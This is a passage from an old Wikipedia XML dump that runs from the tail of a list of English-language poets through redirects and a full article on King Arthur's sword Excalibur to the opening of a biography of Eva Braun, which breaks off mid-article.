*[[William Ernest Henley]] (1849-1903)
*[[George Herbert]] (1593-1632)
*[[Robert Herrick (poet)|Robert Herrick]] (1591-1674)
*[[Phoebe Hesketh]] (1909-2005)
*[[Dorothy Hewett]] (1923-2002)
*[[Thomas Heywood]] (157?-1650)

===Hi-Hu===
*[[Geoffrey Hill]] (born 1932)
*[[James Hogg]] (1770-1835)
*[[Anselm Hollo]]
*[[Oliver Wendell Holmes, Sr.]] (1809-1894)
*[[Thomas Hood]] (1798-1845)
*[[A. D. Hope]]
*[[Gerard Manley Hopkins]] (1844-1889)
*[[Frances Horovitz]] (1938-1983)
*[[Michael Horovitz]] (Born 1935)
*[[George Moses Horton]]
*[[Alfred Edward Housman|A. E. Housman]], (1859-1936)
*[[Henry Howard, Earl of Surrey]] (1517-1547)
*[[Fanny Howe]]
*[[Susan Howe]]
*[[Ada Verdun Howell]]
*[[Langston Hughes]] (1902-1967)
*[[Ted Hughes]] (1930-1998)
*[[Richard Hugo]] (1923-1982)
*[[Alexander Hume]] (1560-1609)
*[[James Henry Leigh Hunt|Leigh Hunt]], (1784-1859)
*[[Cynthia Huntington]], (Born 1952)

==I-J==
*[[P.Inman]]
*[[Richard Jago]], (1715-1781)
*[[John James]]
*[[Lisa Jarnot]] (born 1967)
*[[Randall Jarrell]] (1914-1965)
*[[Robinson Jeffers]] (1887-1962)
*[[Fenton Johnson]]
*[[Georgia Douglas Johnson]]
*[[Helene Johnson]] (1906-1995)
*[[James Weldon Johnson]] (1871-1938)
*[[Samuel Johnson]] (1709-1784)
*[[Billy &quot;The Blogging Poet&quot; Jones]] (born 1956) [http://www.bloggingpoet.com BloggingPoet.com]
*[[David Jones (poet)|David Jones]]
*[[Erica Jong]] (born 1942)
*[[Ben Jonson]] (1573-1637)
*[[June Jordan]] (born 1936)
*[[Jenny Joseph]] (born 1932)
*[[James Joyce]] (1882-1941)
*[[Trevor Joyce]] (born 1947)
*[[Donald Justice]] (1925-2004)

==K==
*[[Ilya Kaminsky]]
*[[Bobbi Katz]]
*[[Bob Kaufman]]
*[[Jayne Fenton Keane]]
*[[John Keats]] (1795-1821)
*[[W.B. Keckler]] (born 1966)
*[[Jack Kerouac]] (1922-1969)
*[[Sidney Keyes]] (1922-1943)
*[[Keorapetse Kgositsile]] (born 1938)
*[[Jack Kimball]]
*[[Amy King]]
*[[Henry King (poet)|Henry King]] (1592-1669)
*[[William King (poet)|William King]] (1663-1712)
*[[Galway Kinnell]] (born 1927)
*[[John Kinsella]]
*[[Thomas Kinsella]] (1927-)
*[[Rudyard Kipling]] (1865-1936)
*[[Etheridge Knight]]
*[[Kenneth Koch]] (1925-2002)
*[[Yusef Komunyakaa]] (born 1948)
*[[Monika Krystowczyk]]
*[[Karla Kuskin]]
*[[Joanne Kyger]]

==L==
===La-Le===
*[[Charles Lamb]] (1775-1834)
*[[Tim Lander]] (1938-   )
*[[Letitia Elizabeth Landon]]
*[[Walter Savage Landor]] (1775-1864)
*[[Doug Lang]]
*[[Emilia Lanier]] (1569-1645)
*[[Philip Larkin]] (1922-1985)
*[[Evelyn Lau]]
*[[D.H. Lawrence]] (1885-1930)
*[[Henry Lawson]] (1867-1922)
*[[Edward Lear]] (1812-1888)
*[[Francis Ledwidge]], (1887-1917)
*[[Tom Leonard (poet)|Tom Leonard]]
*[[Philip Levine]]
*[[Larry Levis]]
*[[D. A. Levy]], (1942-1968)
*[[Alun Lewis]]

===Lo-Ly===
*[[Thomas Lodge]] (1556-1625)
*[[Christopher Logue]]
*[[Henry Wadsworth Longfellow]] (1807-1882)
*[[Michael Longley]]
*[[Tim Longville]]
*[[Luis A. López]]
*[[Audre Lorde]], (born 1934)
*[[Richard Lovelace]] (1618-1658)
*[[Amy Lowell]] (1874-1925)
*[[James Russell Lowell]] (1819-1891)
*[[Robert Lowell]]
*[[Mina Loy]]
*[[Fitz Hugh Ludlow]] (1836-1870)
*[[John Lydgate]] (1370-1450)
*[[John Lyly]] (1553-1606)
*[[George Lyttelton]], Lord Lyttelton (1709-1773)

==M==
===Ma===
*[[Máire Mac an tSaoi]] (Born 1922)
*[[Norman MacCaig]] (1910-1996)
*[[Hugh MacDiarmid]] (1892-1978)
*[[Seán Mac Falls]]
*[[Thomas MacGreevy]] (1893-1967)
*[[Nathaniel Mackey]]
*[[Archibald MacLeish]] (1892-1982)
*[[Jackson Mac Low]]
*[[Louis MacNeice]] (1907-1963)
*[[ Barry MacSweeney]]
*[[Haki R. Madhubuti]]
*[[Isaac T. Madsen]] (Born 1987)
*[[Clarence Major]]
*[[Taylor Mali]]
*[[David Mallet]]
*[[Tom Mandel]]
*[[Bill Manhire]] (Born 1946)
*[[Robert Mannyng of Brunne]] (1269-1340)
*[[Christopher Marlowe]] (1564-1593)
*[[Andrew Marvell]] (1621-1678)
*[[John Masefield]], (1878-1967)
*[[Cleopatra Mathis]], (Born 1947)

===Mc-Mi===
*[[Jeffrey McDaniel]] (born [[1967]])
*[[Colleen McElroy]]
*[[Mighty Mike McGee]] (born [[1976]])
*[[Bryant H. McGill]]
*[[Karyna McGlynn]]
*[[William Topaz McGonagall]], (1825-1902)
*[[Roger McGough]], (born 1937)
*[[Campbell McGrath]]
*[[Claude McKay]]
*[[David Melnick]]
*[[George Meredith]] (1828-1909)
*[[James Merrill]] (1926-1995)
*[[Thomas Merton]] (1915-1968)
*[[W. S. Merwin]]
*[[Edna St. Vincent Millay]], (1892-1950)
*[[Grazyna Miller]], (born 1957)
*[[Joaquin Miller]], (1837-1913)
*[[Spike Milligan]] (1918-2002)
*[[Ralph Mills]]
*[[John Milton]] (1608-1674)
*[[Adrian Mitchell]]

===Mo-Mu===
*[[Charles Montagu, 1st Earl of Halifax]], (1661-1715)
*[[Marianne Moore]], (1887-1972)
*[[Robin Moore]],  (1954- )
*[[Thomas Moore]] (1779-1852)
*[[ Barbara Moraff]]
*[[Edythe Morahan de Lauzon]]
*[[Edwin Morgan]]
*[[Mervyn Morris]]
*[[Tony Morris]](1938-  ) 
*[[William Morris]] (1834-1896)
*[[James Douglas Morrison]] (1943-1971)
*[[Andrew Motion]]
*[[Eric Mottram]]
*[[Paul Muldoon]] (born 1951)
*[[Laura Mullen]]
*[[Harryette Mullen]]
*[[Anthony Munday]] (1553-1633)
*[[Les Murray]] (born 1938)

==N-O==
*[[Syed Ali Naqvi]] (1969-)
*[[Ogden Nash]] (1902-1971)
*[[Thomas Nashe]] (1567-1601)
*[[Alice Moore Dunbar Nelson]]
*[[Howard Nemerov]]
*[[Kenn Nesbitt]] (1962- )
*[[Aimee Nezhukumatathil]] (1974- )
*[[Henry John Newbolt|Henry Newbolt]], (1862-1938)
*[[John Henry Newman]], (1801-1890)
*[[Norman Nicholson]] (1914-1987)
*[[Eiléan Ní Chuilleanáin]]
*[[Nuala Ní Dhomhnaill]]
*[[Lorine Niedecker]] (1903-1970)
*[[Alice Notley]]
*[[Jeff Nuttall]] (1933-2004)
*[[Naomi Shihab Nye]] (1952-)
*[[Frank O'Hara]]
*[[Theodore O'Hara]] (1820-1867) 
*[[Mary Oliver]] (1935-)
*[[Charles Olson]] (1910-1970)
*[[Terry A. O'Neal]]
*[[Mary Devenport O'Neill]] (1879-1976)
*[[George Oppen]] (1908-1984)
*[[Maggie O'Sullivan]]
*[[Wilfred Owen]] (1893-1918)

==P==
*[[Ruth Padel]] (born 1947)
*[[Ron Padgett]]
*[[Vance and Nettie Palmer|Nettie Palmer]]
*[[Dorothy Parker]] (1893-1967)
*[[Thomas Parnell]] (1670-1718)
*[[Kenneth Patchen]] (1911-1972)
*[[Brian Patten]] (born 1946)
*[[Ian Patterson]]
*[[Andrew Barton &quot;Banjo' Paterson]] (1864-1941)
*[[Thomas Love Peacock]] (1785-1866)
*[[Ted Pearson]]
*[[George Peel]] (1558-1597)
*[[Simon Perchik]] (born 1923)
*[[Sam Pereira]]
*[[Ambrose Philips]]
*[[Tom Pickard]] (born 1946)
*[[Robert Pinsky]] (born 1940)
*[[Ruth Pitter]] (1897-1992)
*[[Sylvia Plath]] (1932-1963)
*[[Edgar Allan Poe]] (1809-1849)
*[[Alexander Pope]] (1688-1744)
*[[Christopher Porpora]] (1974-)
*[[Ezra Pound]] (1885-1972)
*[[Jack Prelutsky]]
*[[Matthew Prior]] (1664-1721)
*[[J. H. Prynne]]

==Q==

*[[Francis Quarles]] (1592-1644)

==R==
===Ra-Ri===
*[[Craig Raine]] (born 1944)
*[[Kathleen Raine]] (1908-2003)
*[[Carl Rakosi]] (1903-2004)
*Sir [[Walter Raleigh]] (1552-1618)
*[[Dudley Randall]] (1914-2000)
*[[Julia Randall]] (1924-2005)
*[[Elaine Randell]]
*[[Thomas Randolph]] (1605-1635)
*[[John Crowe Ransome]] (1888-1974)
*[[Tom Raworth]] (born 1938)
*[[Henry Reed]] (1914-1986)
*[[Ishmael Reed]]
*[[Joan Retallack]]
*[[Kenneth Rexroth]] (1905-1982)
*[[Charles Reznikoff]] (1894-1976)
*[[Adrienne Rich]] (born 1929)
*[[Lola Ridge]] (1873-1941)
*[[Denise Riley]]
*[[John Riley]]
*[[Peter Riley]]

===Ro===
*[[Kit Robinson]]
*[[Edwin Arlington Robinson]], (1869-1935)
*[[Mary Robinson]] (1758-1800)
*[[Carolyn M. Rodgers]]
*[[Theodore Roethke]], (1908-1963)
*[[Patrick Rosal]]
*[[Franklin Rosemont]], (born 1943)
*[[Penelope Rosemont]]
*[[Isaac Rosenberg]] (1890-1918)
*[[Christina Rossetti]] (1830-1894)
*[[Dante Gabriel Rossetti]] (1828-1882)
*[[Nicholas Rowe (dramatist)|Nicholas Rowe]]
*[[Richard Rowlands]] (1565-1630)

==S==
===Sa-Si===
*[[Blanaid Salkeld]] (1880-1959)
*[[Sonia Sanchez]]
*[[Carl Sandburg]] (1878-1967)
*[[May Sarton]] (1912-1995)
*[[Siegfried Sassoon]] (1886-1967)
*[[Sheri Lee Schnauffer]], (born 1962)
*Sir [[Walter Scott]] (1771-1832)
*[[Maurice Scully]]
*[[Peter Seaton]]
*Sir [[Charles Sedley]] (1639-1701)
*[[Nina Serrano]], (born 1934)
*[[Robert W. Service]]
*[[Anne Sexton]] (1928-1974)
*[[William Shakespeare]] (1564-1616)
*[[Tupac Shakur]] (1971-1996)
*[[Ntozake Shange]], (born 1948)
*[[Jo Shapcott]]
*[[Karl Shapiro]] (1913-2000)
*[[Percy Bysshe Shelley]] (1792-1822)
*[[William Shenstone]]
*[[James Shirley]] (1596-1666)
*Sir [[Philip Sidney]] (1554-1586)
*[[Eli Siegel]] (1902-1978)
*[[Ron Silliman]] (born 1946)
*[[Shel Silverstein]] (1930-1999)
*[[Colin Simms]]
*[[Iain Sinclair]]
*[[Edith Sitwell]] (1887-1964)

===Sk-Sq===
*[[Beau Sia]] (born [[1976]])
*[[John Skelton]] (1460-1529)
*[[Myra Sklarew]]
*[[Charlotte Smith]] (1749-1806)
*[[Marc Smith]]
*[[Rod Smith]]
*[[Stevie Smith]] (1902-1971)
*[[Tobias Smollett]] (1721-1771)
*[[Gary Snyder]]
*[[William Somerville]]
*[[Charles Sorley]] (1895-1915)
*[[Caroline Southey]] (1787-1854)
*[[Robert Southey]] (1774-1843)
*[[Robert Southwell]] (1561-1595)
*[[Wole Soyinka]] (born 1934)
*[[A. B. Spellman]]
*[[Anne Spencer]]
*[[Stephen Spender]]
*[[Edmund Spenser]] (1552-1599)
*[[Geoffrey Squires]]

===St-Sy===
*[[William Stafford]]
*[[C.K. Stead]] (born 1932)
*[[Brian Kim Stefans]]
*[[Gertrude Stein]]
*[[Gerald Stern]]
*[[Wallace Stevens]] (1880-1955)
*[[Robert Louis Stevenson]] (1850-1894)
*[[Mark Strand]]
*Sir [[John Suckling (poet)|John Suckling]] (1609-1642)
*[[Keston Sutherland]] 
*[[May Swenson]]
*[[Algernon Swinburne]] (1837-1909)
*[[Bobbi Sykes]] (born 1945)
*[[Joshua Sylvester]] (1563-1618)
*[[Arthur Symons]] (1865-1945)
*[[Arthur Sze]] (born 1950)

==T-V==

*[[F.W. Tancred]]
*[[Dorothea Tanning]] (born 1910)
*[[Allen Tate]] (1899-1979)
*[[Edward Taylor]] (1645-1729) 
*[[Sara Teasdale]]
*[[Alfred Tennyson]], Lord Tennyson (1809-1892)
*[[Lucy Terry]]
*[[Celia Thaxter]], (1824-1894)
*[[Ernest Thayer]], (1863-1940)
*[[Dylan Thomas]] (1914-1953)
*[[Edward Thomas]] (1878-1917)
*[[Ronald Stuart Thomas|R.S. Thomas]] (1913-2000)
*[[Francis Thompson]] (1859-1907)
*[[James Thomson (B.V.)]] (1834-1882)
*[[James Thomson (Seasons)]]
*[[Henry David Thoreau]] (1817-1862)
*[[Chidiock Tichborne]] (1558-1586)
*[[Thomas Tickell]]
*[[Melvin B. Tolson]]
*[[Jean Toomer]]
*[[Rodrigo Toscano]]
*[[Thomas Traherne]]
*[[Quincy Troupe]]
*[[Paul H Tubb]] (Born 1973)
*[[Gael Turnbull]]
*[[Hone Tuwhare]] (born 1922)
*[[Allen Upward]], [[Imagist]]
*[[Henry Vaughan]] (1621-1695)
*[[Janine Pommy Vega]]

==W==
===Wa-We===
*[[Ugonna Wachuku]] (born 1971) 
*[[Catherine Wagner]]
*[[Diane Wakoski]]
*[[Derek Walcott]] (born 1930)
*[[Anne Waldman]]
*[[Rosmarie Waldrop]]
*[[Keith Waldrop]]
*[[Alice Walker]], (born 1944)
*[[Margaret Walker]]
*[[Mark Wallace]]
*[[Christopher Wallace-Crabbe]]
*[[Edmund Waller]] (1606-1687)
*[[Diane Ward]]
*[[Robert Penn Warren]] (1905-1989)
*[[Isaac Watts]] (1674-1748)
*[[John Webster]] (died 1630)
*[[Ian Wedde]] (born 1946)
*[[Hannah Weiner]]
*[[Marjorie Welish]]
*[[Gilbert West]]

===Wh-Wy===
*[[Phillis Wheatley]] (1753-1784)
*[[James M. Whitfield]]
*[[Walt Whitman]] (1819-1892)
*[[John Greenleaf Whittier]] (1807-1892)
*[[Richard Wilbur]]
*[[Oscar Wilde]] (1854-1900)
*[[John Wilkinson (poet)|John Wilkinson]]
*[[William of Shoreham]] (14th century)
*[[Hugo Williams]]
*[[Oscar Williams]]
*[[Saul Williams]]
*[[Sherley Anne Williams]]
*[[William Carlos Williams]] (1883-1963)
*[[Elizabeth Willis]]
*[[John Wilmot, 2nd Earl of Rochester]] (1647-1680)
*[[Terence Winch]]
*[[George Wither]] (1588-1667)
*[[Charles Wolfe]] (1791-1823)
*[[Dorothy Wordsworth]] (1771-1855)
*[[William Wordsworth]] (1770-1850)
*Sir [[Henry Wotton]] (1568-1639)
*[[C. D. Wright]]
*[[Judith Wright]]
*[[Thomas Wyatt]] (1503-1542)

==Y-Z==
*[[William Butler Yeats]] (1865-1939)
*[[Edward Young]], (1683-1765)
*[[Benjamin Zephaniah]] (born 1958)
*[[Louis Zukofsky]] (1904-1978)

See also: [[list of poets]], [[list of English people]],
[[list of people by occupation]], [[list of people by nationality]], [[list of women poets]], [[List of American poets]], [[List of Australian poets]], [[List of Irish poets]], [[List of English poets]], [[List of Canadian poets]], [[List of Chicano poets]]

[[Category:Lists of poets|English]]

[[fr:Liste de poètes de langue anglaise]]
[[pl:Pisarze i poeci anglojęzyczni]]
[[sv:Lista över engelskspråkiga poeter]]</text>
    </revision>
  </page>
  <page>
    <title>Endangered Species</title>
    <id>9715</id>
    <revision>
      <id>15907586</id>
      <timestamp>2004-06-27T10:07:56Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#redirect [[Endangered species]]</text>
    </revision>
  </page>
  <page>
    <title>Environmental Modification</title>
    <id>9716</id>
    <revision>
      <id>15907587</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Convention on the Prohibition of Military or Any Other Hostile Use of Environmental Modification Techniques]]
</text>
    </revision>
  </page>
  <page>
    <title>Excalibur</title>
    <id>9717</id>
    <revision>
      <id>41655522</id>
      <timestamp>2006-02-28T21:02:15Z</timestamp>
      <contributor>
        <ip>66.99.116.65</ip>
      </contributor>
      <comment>/* In other media */</comment>
      <text xml:space="preserve">[[Image:Bedivere.jpg|thumb|250px|''How [[Sir Bedivere]] Cast the Sword Excalibur into the Water''. Illustration by [[Aubrey Beardsley]], 1894.]]

:''This article is about King Arthur's sword Excalibur. For other meanings, see [[Excalibur (disambiguation)]].''

----
''There drew he forth the brand Excalibur,&lt;br&gt;
''And o’er him, drawing it, the winter moon,&lt;br&gt;
''Brightening the skirts of a long cloud, ran forth&lt;br&gt;
''And sparkled keen with frost against the hilt:&lt;br&gt;
''For all the haft twinkled with diamond sparks,&lt;br&gt;
''Myriads of topaz-lights, and jacinth-work&lt;br&gt;
''Of subtlest jewellery.''&lt;br&gt;
'''[[Alfred, Lord Tennyson]], Morte D'Arthur'''
----

'''Excalibur''' is the mythical [[sword]] of [[King Arthur]], sometimes attributed with magical powers or associated with the rightful [[sovereignty]] of [[Great Britain]]. Often Excalibur and the '''Sword in the Stone''' (the proof of Arthur's lineage) are said to be the same weapon, but in other versions they are considered separate. The sword was associated with the [[Arthurian legend]] very early; in [[Welsh language|Welsh]], the sword was called '''Caledfwlch'''.

==Excalibur and the Sword in the Stone==
In surviving accounts of Arthur, there are two originally separate legends about his sword's origin. The first is the &quot;Sword in the Stone&quot; legend, first appearing in [[Robert de Boron]]'s poem ''[[Merlin (wizard)|Merlin]]'', in which Excalibur can only be drawn from the stone by Arthur, the rightful king. The second version is found in the later [[Post-Vulgate]] ''Suite du Merlin'' and was taken up by Sir [[Thomas Malory]]. Here, Arthur receives Excalibur from the [[Lady of the Lake]] after breaking his first sword in a fight with King [[Pellinore]]. The Lady of the Lake calls the sword &quot;Excalibur, that is as to say as Cut-steel.&quot; At his death, he tells a reluctant [[Sir Bedivere]] ([[Sir Griflet]] in some versions) to return the sword to the Lake. 

Malory records both versions of the legend in his ''[[Le Morte d'Arthur]]'', and confusingly calls both swords Excalibur. The film ''[[Excalibur (movie)|Excalibur]]'' attempts to rectify this by having the Lady of the Lake only repair the sword after it is broken.

==History==
===Caledfwlch===
In [[Welsh mythology|Welsh]] legend, Arthur's sword is known as ''Caledfwlch''. In ''[[Culhwch and Olwen]]'', it is one of Arthur's most valuable possessions. It is used in that romance by Arthur's warrior Llenlleawg the Irishman to kill the Irish king Diwrnach while stealing his magical cauldron. Caledfwlch is thought to derive from the legendary [[Irish mythology|Irish]] weapon ''[[Caladbolg]]'', the lightning sword of [[Fergus mac Roich]]. Caladbolg was also known for its incredible power, and it was carried by some of Ireland's greatest heroes. 

Caledflwch is vividly described in the ''[[Mabinogion]]'': 
:&quot;Then they heard [[Cador|Cadwr Earl of Cornwall]] being summoned, and saw him rise with Arthur's sword in his hand, '''with a design of two serpents on the golden hilt; when the sword was unsheathed what was seen from the mouths of the two serpents was like two flames of fire, so dreadful that it was not easy for anyone to look.''' At that the host settled and the commotion subsided, and the earl returned to his tent. 'Iddawg, who is the man who brought Arthur's sword?' (asks [[Rhonabwy]]) &quot;Cadwr Earl of Cornwall, the man whose task it is to arm the king on the day of battle and conflict.&quot; &quot;
::''[[The Dream of Rhonabwy]]'', from ''The [[Mabinogion]]'', translated by Jeffrey Gantz.

===Caliburn to Excalibur===
[[Geoffrey of Monmouth]]'s ''[[History of the Kings of Britain]]'' is the first non-Welsh source to speak of the sword. Geoffrey says the sword was forged in [[Avalon]] and [[Latin]]izes the name &quot;Caledfwlch&quot; to ''Caliburn'' or ''Caliburnus''. Continental writers altered the name further - first to ''Escalibor'', then to ''Excalibur'' - when his influential pseudo-history made it to [[Continental Europe]]. The legend was expanded upon in the [[Vulgate Cycle]] (c. [[1230]] - [[1250]]), also known as the Lancelot-Grail Cycle, and in the [[Post-Vulgate Cycle]] which emerged in its wake. Both included the work known as the ''[[Prose Merlin]]'', but the Post-Vulgate authors left out the ''Merlin'' Continuation from the earlier cycle, chosing to add an original account of Arthur's early days including a new origin for Excalibur.

==Attributes==
In many versions, Excalibur's blade was engraved with words on opposite sides. On one side were the words, '''TAKE ME UP''', and on the other side, '''CAST ME AWAY''' (or similar words). This prefigures its return into the water. 

Excalibur's scabbard was said to have powers of its own. The scabbard protects its bearer from harm (and to prevent the bearer from suffering further harm from wounds already received).  Injuries from losses of blood for example would not kill the bearer.  The scabbard is stolen by [[Morgan le Fay]] and thrown into a lake, never to be found again.

==Notes==
Several [[etymology|etymologies]] have been proposed for the origin of the name &quot;Excalibur', like ''ex calibur'', &quot;cut-steel&quot;.

One theory about the &quot;Sword in the Stone&quot; legend is that it stems from a scribal error. The Latin word for stone is ''saxum'', very similar to ''[[Saxon people|Saxon]]'' (''Saxonum''), so it is possible that the story of Arthur originally had him killing a Saxon and taking his sword as a symbol of victory, but that during a later copying of the text, a scribe mistakenly changed it to saxum. Hence, &quot;Arthur pulled the sword from the Saxon&quot; may have become &quot;Arthur pulled the sword from the stone.&quot;

However, the Sword in the Stone has an analogue in some versions of the story of [[Sigurd]] (the [[Norse]] proto-[[Siegfried]]), who draws his father [[Sigmund]]'s sword out of a tree where it is embedded. 

Interestingly, in several early [[France|French]] works such as [[Chrétien de Troyes]]' ''[[Perceval, the Story of the Grail]]'' and the Vulgate ''Lancelot Proper'' section, Excalibur is said to be the property of [[Gawain]], one of Arthur's best knights. This is in contrast to later versions, where the sword belongs solely to the king. In the ''[[Alliterative Morte Arthure]]'' (ca. [[1400]]), Arthur is said to have two legendary swords, the second one being [[Clarent]], stolen by the evil [[Mordred]]. It is from that sword that Arthur receives his fatal blow.

The legend of the Sword in the Stone is possibly a reference and rememberance in storytelling of the techniques of [[Bronze Age]] sword making technology[http://www.bronze-age-craft.com/swordcasting.htm]. Simply described, the technique involved casting a sword using molten bronze into a mold consisting of two halves. There is a hollow in the shape of a sword formed by the two halves. The two halves run the length of the sword, and shape the flat of the blade as well as the handle. They can be made of hardened clay or of stone.  When molten bronze hardens and the halves are separated, one half is left with a 'sword in the stone', resting inside one of the halves. In its own right it is a magical moment, impressive enough to have remained as a poetic image, transformed by writers who did not know or remember the possible origin of the phrase.

==Later references==
Excalibur, whether the same as the Sword in the Stone or not, features prominently in modern Arthurian fiction and pop culture. 

===In books===
* ''[[The Sword in the Stone]]'' by [[T. H. White]] is based upon the beginning of ''Le Morte D'Arthur''.
* In [[Marion Zimmer Bradley]]'s ''[[Mists of Avalon]]'', Excalibur was made of meteoric iron and its sheath enchanted by [[Morgan le Fay|Morgaine]] herself; the sword in the stone was a different weapon.
* Its connection to the sovereignty of Britain is an important part of many books, like [[Rosemary Sutcliff]]'s novel ''[[Sword at Sunset]]''.
* In [[Stephen R. Lawhead]]'s ''[[Pendragon Cycle]]'', Caledflwch or Caliburnus is the sword of the [[Atlantis|Atlantean]] [[Fisher King]] of [[Avalon]], which passes from him to [[Merlin]] to Arthur (which replaces the Sword in the Stone, the old sword of [[Magnus Maximus]]). Lawhead follows the description given in the Mabinogion, with the addition of the engraved words (in Atlantean runes).
* [[Bernard Cornwell]] calls the sword both Caledflwch and Excalibur in ''[[The Warlord Chronicles]]''.
* [[Mary Stewart]] calls the sword Caliburn in her Merlin trilogy and in ''[[The Wicked Day]]''.

===In film===
*The sword is wielded by Uther Pendragon before Arthur in [[John Boorman]]'s film ''[[Excalibur (movie)|Excalibur]]''.
*In the animated film ''[[Quest for Camelot]]'' (known as ''The Magic Sword'' in Asia), King Arthur loses Excalibur, and the maiden Kayley and the blind Garett must find it before the evil Sir Ruber does (helped by a two-headed dragon). 
*The TV movie ''Merlin'' (1998) also has Uther wielding the sword before Arthur. Merlin even uses it himself, during a battle with [[Vortigern]].
*In the 2004 film ''[[King Arthur (film)|King Arthur]]'', it is a mundane sword.

===In other media===
*The superheroine Ms. Liberty in [[City of Heroes]] carries Excalibur. The previous wielder was Hero-1 who entrusted the blade with her while he journeyed with the Omega Team to the Rikti Homeworld. 
*Many [[computer role-playing game]]s such as the ''[[Final Fantasy]]'' series incorporate a weapon named Excalibur, usually as one of the top-tier items.
*The sword [[Soul Calibur (sword)|Soul Calibur]] in the [[Category:Soul Series|''Soul'' Series]] of [[Fighting game|fighting games]] is probably named in honor of Excalibur, combining the word ''soul'' with the latter part of the sword's name ''calibur''. You can also wield Excalibur with the Sword and Shield discipline for created characters in [[Soul Calibur III]].
*In the game [[Onimusha: Dawn of Dreams]] one of the weapons is a sword called Excaliber, it is considered the second most powerful sword damage wise and the most useful for clearing large amounts of opponents by most players.

==See also==
*''[[Excalibur (movie)|Excalibur]]'', a [[1981 in film|1981]] film about the legend of King Arthur.
*[[List of fictional swords]]
*[[Kusanagi]]

==External links==
*[http://www.timelessmyths.com/arthurian/excalibur.html Timeless Myths website: Legend of &quot;Excalibur&quot;]
*[http://www.lib.rochester.edu/camelot/swrdmenu.htm The Camelot Project at the University of Rochester: Excalibur and The Sword In The Stone]
*[http://www.geocities.com/dagonet_uk/weapdata.htm#sword%20here Background on King Arthur's weapons].

[[Category:Mythical objects]]
[[Category:Arthurian legend]]
[[Category:Mythic weapons]]
[[Category:Fictional swords]]

[[bg:Екскалибур]]
[[da:Excalibur]]
[[de:Excalibur (Schwert)]]
[[es:Excalibur]]
[[fr:Excalibur]]
[[it:Excalibur]]
[[nl:Excalibur]]
[[ja:エクスカリバー]]
[[pl:Excalibur]]
[[sl:Excalibur]]
[[sv:Excalibur]]
[[fi:Excalibur]]</text>
    </revision>
  </page>
  <page>
    <title>Eva Braun</title>
    <id>9718</id>
    <revision>
      <id>42123428</id>
      <timestamp>2006-03-03T23:49:30Z</timestamp>
      <contributor>
        <username>Str1977</username>
        <id>244946</id>
      </contributor>
      <comment>portraying a certain, not generally accepted thesis as most likely is POV</comment>
      <text xml:space="preserve">[[Image:Evabraun.jpg|thumb|Eva Braun and Adolf Hitler]]

'''Eva Anna Paula Braun''' ([[February 6]], [[1912]] &amp;ndash; [[April 30]], [[1945]]) was the longtime companion (and ultimately, wife for a night and a day) of [[Adolf Hitler]].

==Background==
Born in [[Munich]], [[Germany]], Braun was the daughter of a school teacher and educated at a [[lyceum]], then for one year at a business school in a [[convent]] where she had average grades, a talent for [[athletics]] and is said to have had the &quot;dreamy beauty&quot; of a &quot;farmer's daughter.&quot; She worked for several months as a receptionist in a medical office, then at age seventeen took a job as office and lab assistant for [[Heinrich Hoffmann]] (the official [[photographer]] for the [[Nazi Party]]). She met Hitler there in [[1929]] and is said to have slipped a love letter into his pocket. He had been introduced to her as &quot;Herr Wolff&quot; (a childhood nickname he used during the [[1920s]] for security purposes). She described him to friends as a &quot;gentleman of a certain age with a funny moustache and carrying a big felt hat.&quot; Both of their families were strongly against the relationship and little is known about its first two years. Her father had both political and moral objections while Hitler's half-sister, [[Angela Hitler|Angela Raubal]], refused to address Eva other than as a social inferior.

==Relationship and turmoil==
Hitler saw more of Braun after the [[suicide]] of Angela's daughter [[Geli Raubal]] in [[1931]] (some historians suggest Raubal killed herself because she was distraught over Hitler's relationship with Braun, while others speculate Hitler killed her, or had her murdered). Hitler was seeing other women such as actress [[Renate Müller]] (whose early death was also termed a suicide). Braun attempted suicide in [[1932]] by shooting herself in the neck. She attempted suicide a second time in [[1935]] by taking an [[overdose]] of [[sleeping pills]]. 
After Braun's recovery Hitler became more committed to her and bought her a villa in Wasserburgerstrasse, a [[Munich]] [[suburb]], providing her with a [[Mercedes-Benz|Mercedes]] and a chauffeur.

[[Image:Eva_berghof.jpg|thumb|200px|left|Braun and Hitler on the veranda of the Berghof]]
In [[1936]] she came to his household at the [[Berghof (Hitler)|Berghof]] near [[Berchtesgaden]]. Her political influence on Hitler is unknown and as a result is generally presumed to have been minimal. Some historians have inferred she was aware of at least some sordid details concerning the [[Third Reich]]'s inner workings. By all accounts she led a sheltered and privileged existence and seemed uninterested in politics. They never appeared as a couple in public and there is some indication that this, along with their not having married early in their relationship, was due to a fear Hitler might lose some of his popularity among female voters. The German people were entirely unaware of Braun and her relationship with Hitler until after the war.

[[Albert Speer]] described the relationship in his book ''[[Inside the Third Reich]]'':
:''Eva Braun was allowed to be present during visits from old party associates. She was banished as soon as other dignitaries of the Reich, such as cabinet ministers, appeared at the table ... Hitler obviously regarded her as socially acceptable only within strict limits. Sometimes I kept her company in her exile, a room next to Hitler's bedroom. She was so intimidated that she did not dare leave the house for a walk. Out of sympathy for her predicament I soon began to feel a liking for this unhappy woman, who was so deeply attached to Hitler.''

==Lifestyle==
[[Image:Evabrown-by-Hitler.jpg|thumb|200px|right|Sketch of Eva Braun by Hitler]] 
Even during [[World War II]] Braun apparently lived a life of leisure spending her time exercising, reading [[romance novels]], watching films and early German [[television]] (at least until around 1943) along with later helping to host gatherings of Hitler's inner circle. Her affection for nude [[sunbathing]] (and being photographed at it) is known to have infuriated him. She had a lifelong interest in photography and their closest friends called her the ''[[Rolleiflex]] Girl'' (after the well-known [[camera]] model). She did her own [[darkroom]] processing and most of the colour stills and movies of Hitler in existence are her work.

[[Otto Gunsche]] and [[Heinz Linge]], during extensive debriefings by Soviet intelligence officials after the war, said Braun was at the centre of Hitler's life for most his twelve years in power. It was said that in 1936,

''He was always accompanied by her. As soon as he heard the voice of his lover he became jollier. He would make jokes about her new hats. He would take her for hours on end into his study where there would be champagne cooling in ice, chocolates, cognac, and fruit.''

The interrogation report adds that when Hitler was too busy for her, &quot;Eva would often be in tears.&quot; 

Linge said that before the war, Hitler ordered an increase of the police guard at Braun's house in Munich after she reported to the Gestapo that a woman had said to her face she was the ''Führer-whore''.

